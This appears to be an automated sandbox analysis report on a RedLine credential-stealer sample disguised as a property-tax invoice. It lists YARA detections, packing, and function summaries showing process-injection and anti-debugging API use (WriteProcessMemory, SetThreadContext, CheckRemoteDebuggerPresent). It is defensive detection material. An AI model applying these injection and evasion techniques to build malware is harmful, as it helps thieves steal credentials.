Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	06:58:32
Start date:	27/05/2022
Path:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe"
Imagebase:	0x2d0000
File size:	241664 bytes
MD5 hash:	6FFB271DAC5AEA05D5A8FEB1344AC144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.519103582.0000000003679000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000003.250706107.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: SUSP_NET_NAME_ConfuserEx, Description: Detects ConfuserEx packed file, Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe, Author: Arnim Rupp
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	06:58:34
Start date:	27/05/2022
Path:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
Imagebase:	0x7a0000
File size:	241664 bytes
MD5 hash:	6FFB271DAC5AEA05D5A8FEB1344AC144
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.253791983.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.254857818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000002.356883017.0000000002C4F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.254550388.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.356108749.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000000.254084166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	8
Start time:	06:58:36
Start date:	27/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Execution Graph

Execution Coverage:	20.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	18.3%
Total number of Nodes:	104
Total number of Limit Nodes:	3

Executed Functions

Function 00D14410 Relevance: 22.3, APIs: 1, Strings: 10, Instructions: 3086
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 00D147A5

Strings

(, xrefs: 00D14A4D
xj/, xrefs: 00D149A6
abcdefghijklmnopqrstuvwxyz1234567890, xrefs: 00D1443F
P -, xrefs: 00D1487D
F, xrefs: 00D14A35
U, xrefs: 00D14A6B
Coronovirus.Coronovirus, xrefs: 00D1493C
-, xrefs: 00D14A43
., xrefs: 00D14B47
(, xrefs: 00D14A61

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: InitializeThunk
String ID: abcdefghijklmnopqrstuvwxyz1234567890$($($-$.$Coronovirus.Coronovirus$F$P -$U$xj/
API String ID: 2994545307-1352276113
Opcode ID: bfc70f8f395d42484cbe02a6f2748185eed2b7c95ce3ae007bdb2cdd8d8da865
Instruction ID: cd8796a5b9b6ca076976169137229186fcee2ab75c057be19a04e40dceffef6a
Opcode Fuzzy Hash: bfc70f8f395d42484cbe02a6f2748185eed2b7c95ce3ae007bdb2cdd8d8da865
Instruction Fuzzy Hash: 00534374A00A6C8FCB54EB28D851A9DB7B6FF89300F1185D9E40DEB355EB309E848F56

Uniqueness

Uniqueness Score: -1.00%

Function 00D1436F Relevance: 22.1, APIs: 1, Strings: 10, Instructions: 2853
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 00D14A4D
xj/, xrefs: 00D149A6
abcdefghijklmnopqrstuvwxyz1234567890, xrefs: 00D1443F
P -, xrefs: 00D1487D
F, xrefs: 00D14A35
U, xrefs: 00D14A6B
Coronovirus.Coronovirus, xrefs: 00D1493C
-, xrefs: 00D14A43
., xrefs: 00D14B47
(, xrefs: 00D14A61

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID: abcdefghijklmnopqrstuvwxyz1234567890$($($-$.$Coronovirus.Coronovirus$F$P -$U$xj/
API String ID: 0-1352276113
Opcode ID: 764e60aa560f03794287798cdd7ef36077932e03a580561571c1f50c3d59900f
Instruction ID: 82108254def448777327ffce33da6af053820ce5452542e72f81c6cdbb011874
Opcode Fuzzy Hash: 764e60aa560f03794287798cdd7ef36077932e03a580561571c1f50c3d59900f
Instruction Fuzzy Hash: 7B536674A00A6C8FCB54EB24D894A9DB7B6FF89300F1186D9E40DEB355EB309E448F56

Uniqueness

Uniqueness Score: -1.00%

Function 00D10470 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 425
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00D10983

Strings

@, xrefs: 00D10888

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 991602952ed0dd069084aecce22cd5b1fd9fc2df611c9c5b9da81f73a1d2336f
Instruction ID: b5f01c0ada2f4f12455c3f2e92f0efefc0611f0cbf1b1cabbe36b25c417f69a5
Opcode Fuzzy Hash: 991602952ed0dd069084aecce22cd5b1fd9fc2df611c9c5b9da81f73a1d2336f
Instruction Fuzzy Hash: D702F470E042099FCB54EFA8D590AADBBB2FF49310F68855AD815EB205D774EDC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CB68 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00D1CBD6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 347c3a83e56316f2612a2b9a225930f8f0cc58c88c2ca54ac645056200b2702e
Instruction ID: a57ac14607fb32936ad584b9faed006f8c50160150680cd54f58f862bbb23937
Opcode Fuzzy Hash: 347c3a83e56316f2612a2b9a225930f8f0cc58c88c2ca54ac645056200b2702e
Instruction Fuzzy Hash: 2B1114B1D042488FCB10DFAAC485AEFFBF4AF48324F54842AD419A7240DB79A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D10460 Relevance: 1.5, Strings: 1, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00D10983

Strings

@, xrefs: 00D10888

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 5e3aa589997e769700fe9e8eef58325174e0d860d56fe10641e3fd9c28456236
Instruction ID: 0d9e91755e0904f5507149bb1ff4799a9dd08d4c6b6ce158af9d6e561635637d
Opcode Fuzzy Hash: 5e3aa589997e769700fe9e8eef58325174e0d860d56fe10641e3fd9c28456236
Instruction Fuzzy Hash: 75C1D274E442099FCB54EFA8D190AADBBB2FF49300F688556D815DB206D7B1EDC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E928 Relevance: .9, Instructions: 881COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bd013dd53d61ecfa537e34bc25563c39bc22e2c723661fc6d3b0749e0f6c0eb
Instruction ID: 260f1a770b2d6a8375bcbb37bd9ce92c55ab7a3bae2c9dc90e9e50177fc80424
Opcode Fuzzy Hash: 0bd013dd53d61ecfa537e34bc25563c39bc22e2c723661fc6d3b0749e0f6c0eb
Instruction Fuzzy Hash: 09929A74E012299FDB64DF69D884BDDBBB1EB49300F1091EAD80DA7251EB349E81CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D18318 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d5fe4bb4fa74e5716b2cf3056dc4c5dd7192814b3688a5844e3908ab64db79e
Instruction ID: a20edb05a09ef27e3b0c50fc387ecccb169495bac423c7bc443cfec6c9764321
Opcode Fuzzy Hash: 6d5fe4bb4fa74e5716b2cf3056dc4c5dd7192814b3688a5844e3908ab64db79e
Instruction Fuzzy Hash: E132BE75A00218DFDB25CF68D940AD9BBB2FF49304F1581E9E509AB361DB31AE91DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00D1A1E7 Relevance: .5, Instructions: 533COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9043bcb2885fc23ce10fa32b2c98aa11d31ec9028ff9d50457df57a36280b7ce
Instruction ID: 002217e63efeee6fb46b5c7cc40f54a6823e489abcee9b0b4dafc731b97f8db8
Opcode Fuzzy Hash: 9043bcb2885fc23ce10fa32b2c98aa11d31ec9028ff9d50457df57a36280b7ce
Instruction Fuzzy Hash: 3242D4B4E01219CFDB24DF69D944BDEBBB6FB58300F1491AAD80AA7254DB349E85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 00D18308 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb75a452387bfea3363b3f3ea291b8f6a029713da476a745f6f1299545f03099
Instruction ID: 29f5741ff36946d6040ecc56ee0ff948809f51ae48da70a4a57ca92f71b7dca8
Opcode Fuzzy Hash: fb75a452387bfea3363b3f3ea291b8f6a029713da476a745f6f1299545f03099
Instruction Fuzzy Hash: 9F51B775E052189FDB14CF6AD940ADDBBF2EF89300F14D1AAD509AB214EB305A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E595 Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00D1E7D6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 77a60434b03d525bcaac7af3681d86d50a627a7da89a87dc465a95c5d096fbe6
Instruction ID: 184013979fd8229606bf434d732483ecdd128bc6391849994976778c7a46f4a1
Opcode Fuzzy Hash: 77a60434b03d525bcaac7af3681d86d50a627a7da89a87dc465a95c5d096fbe6
Instruction Fuzzy Hash: 75916C71D00259DFEF14DFA8D841BEEBBB2BF48314F048569E809A7280DB749985CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E5A0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 00D1E7D6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2d0f0549c6bd187c852e2869a3ac2762179f1df98d9373ebd72a8d586819e6d6
Instruction ID: 21afeae242bf9e5635a50a62008d18cf32edf0fdd66ceac2b819d51ec0bf6235
Opcode Fuzzy Hash: 2d0f0549c6bd187c852e2869a3ac2762179f1df98d9373ebd72a8d586819e6d6
Instruction Fuzzy Hash: 47916B71D00219DFEF14DFA8D841BEEBBB2BF48314F148569E809A7280DB749985CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E310 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00D1E3A8

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d90e910e6bc10e194cd7118e6b6102b80c329db2e51b221bc7836e1e4452d5df
Instruction ID: ce153ee93cfc6d806aff8dac494b21de98faa7841cbe5270782ac3a5d953445b
Opcode Fuzzy Hash: d90e910e6bc10e194cd7118e6b6102b80c329db2e51b221bc7836e1e4452d5df
Instruction Fuzzy Hash: 9F2148B19002599FCF10DFA9C8857EEBBF1FF48314F048429E919A7240DB789945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E318 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 00D1E3A8

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9b632ad1024a640535544e2c92f05ad8fda794f663f4048c4b586edb1a03c291
Instruction ID: c00e6c13a1ddf8d14870890c49f79d7eff595709b76d26607bcdf4c86a0f09b9
Opcode Fuzzy Hash: 9b632ad1024a640535544e2c92f05ad8fda794f663f4048c4b586edb1a03c291
Instruction Fuzzy Hash: A221F5719002599FCB10DFAAC885BEEBBF5FB48314F148429E919A7240DB799954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E178 Relevance: 1.6, APIs: 1, Instructions: 66
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 00D1E1FE

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: ac2b4d6ad70a835e523764adacdaebba63c67afd3dd16b7fec6947ff5af180cd
Instruction ID: 965275d90281fc0484f65878d21343ac7055c8511daa062002d14dc88e8f4d81
Opcode Fuzzy Hash: ac2b4d6ad70a835e523764adacdaebba63c67afd3dd16b7fec6947ff5af180cd
Instruction Fuzzy Hash: BF213771D002099FDB10DFAAC4857EEBBF4EB48324F148429D919A7241DB789985CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E401 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D1E488

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 38f151ea3f650814399bb7dae9485845b6a255a57488af4cbca7c13201949b44
Instruction ID: 9ba2e4de57cfc86ff60bb4813eae3b568b4dc123f189caf615989160f756114c
Opcode Fuzzy Hash: 38f151ea3f650814399bb7dae9485845b6a255a57488af4cbca7c13201949b44
Instruction Fuzzy Hash: 7B2136B18002499FCB10DFA9C881AEEBBF1FF48324F148429E919A7240D7789945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E180 Relevance: 1.6, APIs: 1, Instructions: 63
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 00D1E1FE

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 3262002a80a2fa5491846e0ff0970d3efa30a3c367cb4a64a937f298849bdede
Instruction ID: f0968cbabae9f13fb07fed1786338e277aef19cd7efa9d97a1d35dcbccab26aa
Opcode Fuzzy Hash: 3262002a80a2fa5491846e0ff0970d3efa30a3c367cb4a64a937f298849bdede
Instruction Fuzzy Hash: 8C214971D003089FDB10DFAAC4857EEBBF4EF48324F148429D919A7240DB78A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E408 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00D1E488

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: e580108d9e369f95602f896b404a722c26950562403c7d716c41886b2b896dba
Instruction ID: ef9ff53a42e4a515286126d648f4e19ba1ab35c5bf08091bcc95aee2898d29db
Opcode Fuzzy Hash: e580108d9e369f95602f896b404a722c26950562403c7d716c41886b2b896dba
Instruction Fuzzy Hash: F92116B19002599FCB10DFAAC884AEEBBF5FF48324F548429E919A7240D7799944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CE48 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(00000000,?), ref: 00D1CEC8

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 63091cbde5c4df8a38fcd22f8f657a913e1560b6d3ef9a958f2a76aa85c9ba73
Instruction ID: 47392837110fcd459a74a86fb47f783fb7051eb8c7f29db4a9c0010d7574ad74
Opcode Fuzzy Hash: 63091cbde5c4df8a38fcd22f8f657a913e1560b6d3ef9a958f2a76aa85c9ba73
Instruction Fuzzy Hash: 2F2147B1D042488FCB10DFAAD8457EFBBF5EF88324F14882AD415A7650DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1005C Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00D10983

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3088e05660dbfa414da540af0f0a6b95851ab32817a16415dffcd0517f9da54c
Instruction ID: 0dc52b9963337ef5985c76bb23bf0ecc4ae5e7f37a2d11ef450e3e6d0f458bbe
Opcode Fuzzy Hash: 3088e05660dbfa414da540af0f0a6b95851ab32817a16415dffcd0517f9da54c
Instruction Fuzzy Hash: 052136B19002499FDB10DF9AD484BDEFBF4FB48320F148429E958A7241D7B5A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CE50 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32(00000000,?), ref: 00D1CEC8

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 534edd462aa0271448e66bd262c996a3ab385aaf20744e6fd7b1780ede4b3b61
Instruction ID: 77b5cb42052ac6c55b6d189dcea0725269dacb08639e6579a33f9b3bef525fc7
Opcode Fuzzy Hash: 534edd462aa0271448e66bd262c996a3ab385aaf20744e6fd7b1780ede4b3b61
Instruction Fuzzy Hash: EA2124B1D042498FCB10DFAAD8457EFBBF5AB88324F14882AD415A7640DB78A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E250 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00D1E2C6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f724c9d2ead553a029f98410090ee9db9338cabd6adf7169c804e8d02fee9b7a
Instruction ID: 31db8a1921d2f9e5b4f38ad106059df50c6651f2f91353a8dc15b05a7dbf7243
Opcode Fuzzy Hash: f724c9d2ead553a029f98410090ee9db9338cabd6adf7169c804e8d02fee9b7a
Instruction Fuzzy Hash: BE1167718002489FCF10DFA9D8457EFBBF5EF88324F148819E929A7250DB79A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D10909 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00D10983

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 188ba56f65233df514e82af82771f3cee88c5b1b24cb75aa0d2de4e2fb7e7166
Instruction ID: ba04be18439682abaf2311324cc7802d33f5c007a92cf33f91eb04e0682971eb
Opcode Fuzzy Hash: 188ba56f65233df514e82af82771f3cee88c5b1b24cb75aa0d2de4e2fb7e7166
Instruction Fuzzy Hash: 9D2124B59002499FDB10CF9AC484BEEFBF4FB48320F14842AE858A3241D374A584CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1CB60 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 00D1CBD6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 105300a7b4660ca63d6b7d9f71a6f9b4a8ea391e5b2851975bc7729691af8291
Instruction ID: ffebffcda9efa0f62dbcf192244a473753a19c0512fe2e3c34afd7bf95caf00f
Opcode Fuzzy Hash: 105300a7b4660ca63d6b7d9f71a6f9b4a8ea391e5b2851975bc7729691af8291
Instruction Fuzzy Hash: B01114B1D042489FCB10DFAAC4856EEFBF5EF48324F54842AD429A7240DB79A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D1E258 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 00D1E2C6

Memory Dump Source

Source File: 00000004.00000002.516826477.0000000000D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d10000_P90GT_Invoice_Related_Property_Tax_P800.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e809772c7ac6c7a0c66062ff58e8c6191702b57f1b49d35cd87fa25aea1513aa
Instruction ID: 7b42a9b80764c055ca50a6a7a6a8ec799e0674c9436c70cea514d26ec9bf8046
Opcode Fuzzy Hash: e809772c7ac6c7a0c66062ff58e8c6191702b57f1b49d35cd87fa25aea1513aa
Instruction Fuzzy Hash: 0F1123719002489FCF10DFAAD845AEFBBF5AB88324F148819E919A7250DB75A954CBA0

Uniqueness

Uniqueness Score: -1.00%

